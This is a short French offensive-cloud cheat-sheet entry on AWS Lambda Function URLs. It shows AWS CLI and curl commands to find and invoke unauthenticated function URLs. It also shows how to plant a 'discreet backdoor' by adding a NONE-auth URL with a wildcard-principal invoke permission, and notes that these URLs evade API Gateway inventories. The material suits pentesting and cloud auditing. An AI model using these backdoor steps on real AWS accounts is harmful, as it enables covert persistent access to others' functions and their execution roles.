Une URL de fonction (Function URL) Lambda est un point de terminaison HTTPS dédié associé à une fonction. Son AuthType vaut soit AWS_IAM, soit NONE ; une URL réglée sur NONE peut être invoquée par n'importe qui sur Internet sans aucun identifiant, ce qui expose directement la fonction (et tout ce qu'elle fait sous son rôle d'exécution). Avec lambda:CreateFunctionUrlConfig, un attaquant peut aussi ajouter une URL NONE à une fonction existante comme backdoor discrète.
Trouver et invoquer une URL ouverte#
aws lambda list-function-url-configs --function-name <fn> \
--query 'FunctionUrlConfigs[].[FunctionUrl,AuthType]'
curl -s "https://<url-id>.lambda-url.<region>.on.aws/" -d '{"k":"v"}'
Ajouter une URL comme backdoor#
aws lambda create-function-url-config --function-name <fn> --auth-type NONE
aws lambda add-permission --function-name <fn> --action lambda:InvokeFunctionUrl \
--principal '*' --function-url-auth-type NONE --statement-id open
Notes d'exploitation#
AuthType NONEassocié à une permissionInvokeFunctionUrlavecPrincipal: *rend la fonction entièrement publique ; les deux sont nécessaires et ce sont deux modifications de configuration discrètes.- Une fonction existante dotée d'une logique sensible ou d'un rôle d'exécution puissant devient directement accessible dès qu'une URL
NONElui est attachée. - Les URL de fonction n'apparaissent pas dans les listages d'API Gateway, ce qui les rend faciles à manquer lors d'un inventaire des points d'entrée exposés.
Outils#
- AWS CLI (
lambda list-function-url-configs,create-function-url-config,add-permission). - curl / Burp Suite : invocation et fuzzing du point de terminaison.